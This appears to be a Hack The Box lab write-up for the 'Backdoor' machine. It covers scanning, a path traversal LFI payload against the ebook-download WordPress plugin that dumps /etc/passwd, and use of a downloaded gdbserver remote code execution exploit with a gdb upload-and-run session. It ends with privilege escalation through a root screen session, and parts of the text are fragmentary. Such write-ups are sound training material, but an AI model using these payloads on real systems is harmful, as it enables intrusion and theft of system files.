Hackthebox Backdoor: Prepared by Imamrahman15
Hackthebox Backdoor: Prepared by Imamrahman15
Prepared by imamrahman15
version 1.0
March 2022
Contents
1. High Level Summary ................................................................................................................... 3
2. Attack Narrative Methodology .................................................................................................... 3
2.1. Phase 1 – Reconnaissance .................................................................................................... 3
2.2. Phase 2 - Enumeration ......................................................................................................... 4
2.3. Phase 3 - Penetration .......................................................................................................... 15
2.3.1. screen ........................................................................................................................... 15
3. Additional Resource ................................................................................................................... 17
Page | 2
1. High Level Summary
When performing reconnaissance and enumeration steps, there are several vulnerabilities
identified on the paper machine that can be used to gain access to the target.
• Screen Session
Screen session misconfiguration, make unauthorize using
Page | 3
2.2. Phase 2 - Enumeration
2.2.1. HTTP
Scanning
Try this one: https://github.com/rkhal101/nmapAutomator
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~/nmapAutomator/10.10.11.125]
└──╼ [★]$ cat nmap/Full_10.10.11.125.nmap
# Nmap 7.92 scan initiated Fri Mar 18 01:12:35 2022 as: nmap -Pn -sCV -p1337 -oN nmap/Full_10.10.11.125.nmap 10.10.11.125
Nmap scan report for 10.10.11.125
Host is up (0.0030s latency).
Page | 4
+ /wp-login.php: Wordpress login found
+ 7890 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2022-03-17 03:59:24 (GMT0) (76 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
*********************************************************************
Portions of the server's headers (Apache/2.4.41) are not in
the Nikto 2.1.6 database or are newer than the known string. Would you like
to submit this information (*no server specific data*) to CIRT.net
for a Nikto update (or you may email to [email protected]) (y/n)?
Mapping to /etc/hosts
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~/backdoor/nmapAutomator]
└──╼ [★]$ cat /etc/hosts
# Host addresses
10.10.11.125 backdoor.htb
127.0.0.1 localhost
127.0.1.1 pwnbox-base
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~/backdoor/nmapAutomator]
└──╼ [★]$ ping backdoor.htb
PING backdoor.htb (10.10.11.125) 56(84) bytes of data.
64 bytes from backdoor.htb (10.10.11.125): icmp_seq=1 ttl=63 time=2.04 ms
64 bytes from backdoor.htb (10.10.11.125): icmp_seq=2 ttl=63 time=2.24 ms
^C
--- backdoor.htb ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.044/2.140/2.237/0.096 ms
Page | 5
Wpscan found
[+] akismet
| Location: http://backdoor.htb/wp-content/plugins/akismet/
| Latest Version: 4.2.2
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~/backdoor/nmapAutomator/10.10.11.125]
└──╼ [★]$ wpscan --url http://backdoor.htb/ --enumerate p,u --plugins-detection aggressive
_______________________________________________________________
__ _______ _____
\\ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
Page | 6
| [!] The version is out of date, the latest version is 2.9
| Style URL: http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.8 (80% confidence)
| Found By: Style (Passive Detection)
| - http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208, Match: 'Version: 2.8'
[+] akismet
| Location: http://backdoor.htb/wp-content/plugins/akismet/
| Latest Version: 4.2.2
| Last Updated: 2022-01-24T16:11:00.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://backdoor.htb/wp-content/plugins/akismet/, status: 403
|
| The version could not be determined.
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://backdoor.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
Page | 7
Try to access url Location: http://backdoor.htb/wp-content/plugins/akismet/ 403 and go down
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
Page | 8
Try to access the poc and success lfi
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~/backdoor/nmapAutomator/LFISuite]
└──╼ [★]$ curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd
/etc/passwd/etc/passwd/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
<script>window.close()</script>─
Page | 9
From lfi try to detect the pid from all process, and found pid from gdbserver
http://backdoor.htb/wp-content/plugins/ebook-
download/filedownload.php?ebookdownloadurl=/prod/[pid]/cmdline
Page | 10
Found vulner
https://www.exploit-db.com/raw/50539
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~]
└──╼ [★]$ wget https://www.exploit-db.com/raw/50539
--2022-03-18 03:13:39-- https://www.exploit-db.com/raw/50539
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2826 (2.8K) [text/plain]
Saving to: ‘50539’
50539
100%[===========================================================================================
=========>] 2.76K --.-KB/s in 0s
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~]
└──╼ [★]$ head 50539
# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)
#!/usr/bin/env python3
─[sg-vip-1]─[10.10.14.10]─[htb-imamrahman15@pwnbox-base]─[~]
└──╼ [★]$ less 50539
# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)
#!/usr/bin/env python3
Page | 11
import binascii
import socket
import struct
import sys
help = f'''
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>
Example:
- Victim's gdbserver -> 10.10.10.200:1337
- Attacker's listener -> 10.10.10.100:4444
def ack(sock):
sock.send(b'+')
Page | 12
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from binary.elf...
(No debugging symbols found in binary.elf)
(gdb) target extended-remote 10.10.11.125:1337
Remote debugging using 10.10.11.125:1337
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading symbols from target:/lib64/ld-linux-x86-64.so.2...
Reading /lib64/ld-2.31.so from remote target...
Reading /lib64/.debug/ld-2.31.so from remote target...
Reading /usr/lib/debug//lib64/ld-2.31.so from remote target...
Reading /usr/lib/debug/lib64//ld-2.31.so from remote target...
Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target...
(No debugging symbols found in target:/lib64/ld-linux-x86-64.so.2)
0x00007ffff7fd0100 in ?? () from target:/lib64/ld-linux-x86-64.so.2
(gdb) remote put binary.elf binary.elf
Successfully sent file "binary.elf".
(gdb) set remote exec-file /home/user/binary.elf
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program:
Reading /home/user/binary.elf from remote target...
Reading /home/user/binary.elf from remote target...
Reading symbols from target:/home/user/binary.elf...
(No debugging symbols found in target:/home/user/binary.elf)
[Detaching after fork from child process 29240]
[Inferior 1 (process 29237) exited normally]
(gdb)
Page | 13
From another shell, try to listen port
Page | 14
2.3. Phase 3 - Penetration
2.3.1. screen
download linpeas and send to target with bind shell
Page | 15
Found interesting process “screen from root”
Try to spawn shell (https://netsec.ws/?p=337) and use the screen from root, and boom got the
root
Page | 16
3. Additional Resource
3.1. Initial Scan
Table 2 Additional Resource – Initial Scan result with nmapAutomator.sh Basic
Page | 17